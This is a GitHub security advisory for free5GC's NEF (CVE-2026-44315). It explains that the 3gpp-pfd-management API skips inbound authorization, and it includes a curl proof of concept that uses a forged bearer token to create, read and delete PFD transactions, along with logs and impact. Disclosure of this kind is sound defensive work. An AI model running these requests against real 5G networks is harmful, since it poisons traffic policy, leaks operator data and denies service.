Skip to content

free5GC's NEF 3gpp-pfd-management API is unauthenticated; forged bearer tokens can create, read, and delete PFD transactions

Critical severity GitHub Reviewed Published May 7, 2026 in free5gc/free5gc • Updated Jun 8, 2026

Package

gomod github.com/free5gc/nef (Go)

Affected versions

<= 1.2.3

Patched versions

None

Description

Summary

free5GC's NEF mounts the 3gpp-pfd-management API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, and delete PFD-management transaction state with a forged or arbitrary bearer token (e.g. Authorization: Bearer not-a-real-token). The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.

Details

Validated against the NEF container in the official Docker compose lab.

  • Source repo tag: v4.2.1
  • Running Docker image: free5gc/nef:v4.2.0
  • Runtime NEF commit: 5ce35eab
  • Docker validation date: 2026-03-11

NEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-pfd-management route group is mounted and reachable with no inbound auth middleware.

Code evidence (paths in free5gc/nef):

  • Route group mounted without auth middleware: NFs/nef/internal/sbi/server.go:52
  • Transaction routes exposed at /:scsAsID/transactions and /:scsAsID/transactions/:transID: NFs/nef/internal/sbi/api_pfd.go:13
  • Create handler still contains // TODO: Authorize the AF: NFs/nef/internal/sbi/processor/pfd.go:70
  • POST allocates a new PFD transaction and writes to UDR: NFs/nef/internal/sbi/processor/pfd.go:63
  • GET reads transaction state: NFs/nef/internal/sbi/processor/pfd.go:189
  • DELETE removes transaction state: NFs/nef/internal/sbi/processor/pfd.go:328
  • NEF context only exposes outbound token acquisition (GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153
  • Config validation only allows nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126

PoC

Reproduced end-to-end against the running NEF at http://10.100.200.19:8000 using a fabricated bearer token.

  1. Seed an AF context (also accepted with forged token):
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"afServiceId":"svc-seed2","afAppId":"app-seed2","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.31 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-seed2","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
  http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-pfd2/subscriptions
  1. CREATE PFD transaction with forged token -> 201 Created:
curl -i \
  -H 'Authorization: Bearer not-a-real-token' \
  -H 'Content-Type: application/json' \
  --data '{"pfdDatas":{"app-poc-pfd2":{"externalAppId":"app-poc-pfd2","pfds":{"pfd-poc":{"pfdId":"pfd-poc","urls":["^http://poc.example.com(/\\\\S*)?$"]}}}}}' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions
  1. READ -> 200 OK:
curl -i -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
  1. DELETE -> 204 No Content:
curl -i -X DELETE -H 'Authorization: Bearer not-a-real-token' \
  http://10.100.200.19:8000/3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
  1. READ again -> 404 PFD transaction not found, confirming state was actually deleted.

NEF container logs (docker logs nef) show the requests reaching business handlers and returning success codes:

[INFO][NEF][PFDMng] PostPFDManagementTransactions - scsAsID[af-poc-pfd2]
[INFO][NEF][GIN] | 201 | POST   | /3gpp-pfd-management/v1/af-poc-pfd2/transactions
[INFO][NEF][PFDMng] GetIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]
[INFO][NEF][GIN] | 200 | GET    | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1
[INFO][NEF][PFDMng] DeleteIndividualPFDManagementTransaction - scsAsID[af-poc-pfd2], transID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-pfd-management/v1/af-poc-pfd2/transactions/1

Impact

Missing inbound authentication (CWE-306) and authorization (CWE-862) on a critical SBI surface in NEF. Any party that can reach NEF on the SBI network can:

  • Create attacker-controlled PFD transactions (which are written to UDR), poisoning policy state used downstream by SMF/UPF for traffic classification.
  • Read existing PFD transactions, leaking AF-supplied policy data.
  • Delete PFD transactions, denying service to legitimately provisioned application detection rules.

The PFD-management route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.

Affected: free5gc <=v4.2.1.

Upstream issue: free5gc/free5gc#858
Upstream fix: free5gc/nef#23

References

@Alonza0314 Alonza0314 published to free5gc/free5gc May 7, 2026
Published to the GitHub Advisory Database May 8, 2026
Reviewed May 8, 2026
Published by the National Vulnerability Database May 27, 2026
Last updated Jun 8, 2026

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(14th percentile)

Weaknesses

Missing Authorization

The product does not perform an authorization check when an actor attempts to access a resource or perform an action. Learn more on MITRE.

CVE ID

CVE-2026-44315

GHSA ID

GHSA-5f62-53r8-qrqf

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.